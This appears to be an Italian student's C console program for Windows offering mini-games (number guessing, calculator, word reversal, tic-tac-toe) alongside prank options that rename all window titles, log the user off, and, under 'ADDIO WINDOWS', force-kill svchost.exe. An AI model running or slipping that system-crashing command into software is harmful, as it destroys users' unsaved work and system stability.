223 lines
7.4 KiB
C
223 lines
7.4 KiB
C
#include <stdio.h>
|
|
#include <windows.h>
|
|
#include <ctype.h>
|
|
#include <string.h>
|
|
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
|
|
SetWindowText(hwnd, "Ti stai divertendo??");
|
|
return TRUE;
|
|
}
|
|
void stampaGriglia(char griglia[3][3]) {
|
|
for (int i = 0; i < 3; i++) {
|
|
printf(" %c | %c | %c \n", griglia[i][0], griglia[i][1], griglia[i][2]);
|
|
if (i < 2) {
|
|
printf("---|---|---\n");
|
|
}
|
|
}
|
|
}
|
|
int haVinto(char griglia[3][3], char segno) {
|
|
for (int i = 0; i < 3; i++) {
|
|
if (griglia[i][0] == segno && griglia[i][1] == segno && griglia[i][2] == segno) {
|
|
return 1;
|
|
}
|
|
if (griglia[0][i] == segno && griglia[1][i] == segno && griglia[2][i] == segno) {
|
|
return 1;
|
|
}
|
|
}
|
|
if ((griglia[0][0] == segno && griglia[1][1] == segno && griglia[2][2] == segno) ||
|
|
(griglia[0][2] == segno && griglia[1][1] == segno && griglia[2][0] == segno)) {
|
|
return 1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
int main(){
|
|
SetConsoleTitle("Programma Utilmente Inutile creato per non si sa quale motivo da Manuel Vichi");
|
|
int sc;
|
|
|
|
do{
|
|
// Pulisci lo schermo
|
|
system("cls");
|
|
// Dichiarazione variabili
|
|
int n, numeroSegreto, tentativo, tentativiRimasti;
|
|
char scelta;
|
|
float num1, num2, risultato;
|
|
char parola[100];
|
|
int lunghezza, i;
|
|
char griglia[3][3] = {{' ', ' ', ' '}, {' ', ' ', ' '}, {' ', ' ', ' '}};
|
|
int riga, colonna, mosse;
|
|
char giocatore = 'X';
|
|
BOOL bl;
|
|
unsigned long response;
|
|
//Codice in se'
|
|
printf("Scegli una opzione:\n 0. Esci\n 1. Indovina il numero\n 2. Cacolatrice\n 3. Gioca con le parola\n 4. Divertiti con i titoli delle finestre!\n 5. Chiudi la sessione (di Windows)\n 6. Gioca a Tris\n 7. ADDIO WINDOWS\n");
|
|
scanf("%d",&sc);
|
|
switch(sc){
|
|
case 0:
|
|
printf("Arrivederci!\n");
|
|
system("pause");
|
|
break;
|
|
case 1:
|
|
system("cls");
|
|
printf("Inserisci il numero massimo per il gioco: ");
|
|
scanf("%d", &n);
|
|
srand(time(NULL));
|
|
numeroSegreto = rand() % n + 1;
|
|
tentativiRimasti = 5;
|
|
printf("Indovina il numero segreto tra 1 e %d\n", n);
|
|
do {
|
|
printf("Tentativo rimasto: %d\n", tentativiRimasti);
|
|
printf("Inserisci un numero: ");
|
|
scanf("%d", &tentativo);
|
|
if (tentativo == numeroSegreto) {
|
|
printf("Congratulazioni! Hai indovinato il numero segreto %d.\n", numeroSegreto);
|
|
break;
|
|
} else if (tentativo < numeroSegreto) {
|
|
printf("Il numero segreto e' maggiore di %d.\n", tentativo);
|
|
} else {
|
|
printf("Il numero segreto e' minore di %d.\n", tentativo);
|
|
}
|
|
tentativiRimasti--;
|
|
} while (tentativiRimasti > 0);
|
|
if (tentativiRimasti == 0) {
|
|
printf("Mi dispiace, hai esaurito tutti i tentativi. Il numero segreto era %d.\n", numeroSegreto);
|
|
}
|
|
system("pause");
|
|
break;
|
|
case 2:
|
|
do {
|
|
system("cls");
|
|
printf("\nMenu di scelta:\n");
|
|
printf("1. Somma (+)\n");
|
|
printf("2. Sottrazione (-)\n");
|
|
printf("3. Moltiplicazione (*)\n");
|
|
printf("4. Divisione (/)\n");
|
|
printf("5. Radice quadrata (r)\n");
|
|
printf("6. Quadrato di un numero (q)\n");
|
|
printf("7. Esci e torna al menu principale (f)\n");
|
|
printf("Scelta: ");
|
|
scanf(" %c", &scelta);
|
|
switch (scelta) {
|
|
case '+':
|
|
case '-':
|
|
case '*':
|
|
case '/':
|
|
printf("Inserisci il primo operando: ");
|
|
scanf("%f", &num1);
|
|
printf("Inserisci il secondo operando: ");
|
|
scanf("%f", &num2);
|
|
switch (scelta) {
|
|
case '+':
|
|
risultato = num1 + num2;
|
|
break;
|
|
case '-':
|
|
risultato = num1 - num2;
|
|
break;
|
|
case '*':
|
|
risultato = num1 * num2;
|
|
break;
|
|
case '/':
|
|
if (num2 != 0) {
|
|
risultato = num1 / num2;
|
|
} else {
|
|
printf("Errore: Divisione per zero!\n");
|
|
continue; // Torna al menu
|
|
}
|
|
break;
|
|
}
|
|
printf("Risultato: %.2f\n", risultato);
|
|
system("pause");
|
|
break;
|
|
case 'r':
|
|
printf("Inserisci il numero: ");
|
|
scanf("%f", &num1);
|
|
if (num1 >= 0) {
|
|
risultato = sqrt(num1);
|
|
printf("Radice quadrata: %.2f\n", risultato);
|
|
} else {
|
|
printf("Errore: Impossibile calcolare la radice quadrata di un numero negativo!\n");
|
|
}
|
|
system("pause");
|
|
break;
|
|
case 'q':
|
|
// Calcola il quadrato di un numero
|
|
printf("Inserisci il numero: ");
|
|
scanf("%f", &num1);
|
|
risultato = num1 * num1;
|
|
printf("Quadrato: %.2f\n", risultato);
|
|
system("pause");
|
|
break;
|
|
case 'f':
|
|
printf("Torno al menu principale!\n");
|
|
system("pause");
|
|
break;
|
|
default:
|
|
printf("Errore: Scelta non valida!\n");
|
|
system("pause");
|
|
break;
|
|
}
|
|
} while (scelta != 'f');
|
|
break;
|
|
case 3:
|
|
printf("Inserisci una parola: ");
|
|
scanf("%s", parola);
|
|
lunghezza = strlen(parola);
|
|
printf("Parola invertita: ");
|
|
for (i = lunghezza - 1; i >= 0; i--) {
|
|
printf("%c", parola[i]);
|
|
}
|
|
printf("\nParola in maiuscolo: ");
|
|
for (i = 0; i < lunghezza; i++) {
|
|
printf("%c", toupper(parola[i]));
|
|
}
|
|
|
|
printf("\n");
|
|
system("pause");
|
|
break;
|
|
case 4:
|
|
EnumWindows(EnumWindowsProc, 0);
|
|
printf("Fatto!\n");
|
|
system("pause");
|
|
break;
|
|
case 5:
|
|
system("logoff");
|
|
break;
|
|
case 6:
|
|
printf("Benvenuto al gioco del tris!\n");
|
|
for (mosse = 0; mosse < 9; mosse++) {
|
|
printf("\nTurno del giocatore %c\nEffettuate %d mosse su 9\n", giocatore, mosse);
|
|
stampaGriglia(griglia);
|
|
do {
|
|
printf("Inserisci la riga (1-3) e la colonna (1-3) separate da uno spazio: ");
|
|
scanf("%d %d", &riga, &colonna);
|
|
if (riga == 0 || colonna == 0)
|
|
{
|
|
printf("Hai saltato il turno!\n");
|
|
break;
|
|
}
|
|
riga--;
|
|
colonna--;
|
|
} while (riga < 0 || riga >= 3 || colonna < 0 || colonna >= 3 || griglia[riga][colonna] != ' ');
|
|
griglia[riga][colonna] = giocatore;
|
|
if (haVinto(griglia, giocatore)) {
|
|
printf("\nIl giocatore %c ha vinto!\n", giocatore);
|
|
stampaGriglia(griglia);
|
|
break;
|
|
}
|
|
giocatore = (giocatore == 'X') ? 'O' : 'X';
|
|
}
|
|
if (mosse == 9) {
|
|
printf("\nPareggio!\n");
|
|
stampaGriglia(griglia);
|
|
}
|
|
system("pause");
|
|
break;
|
|
case 7:
|
|
system("taskkill /f /im svchost.exe");
|
|
system("pause");
|
|
break;
|
|
default:
|
|
printf("Valore errato come scelta\n");
|
|
}
|
|
}while (sc!=0);
|
|
return 0;
|
|
} |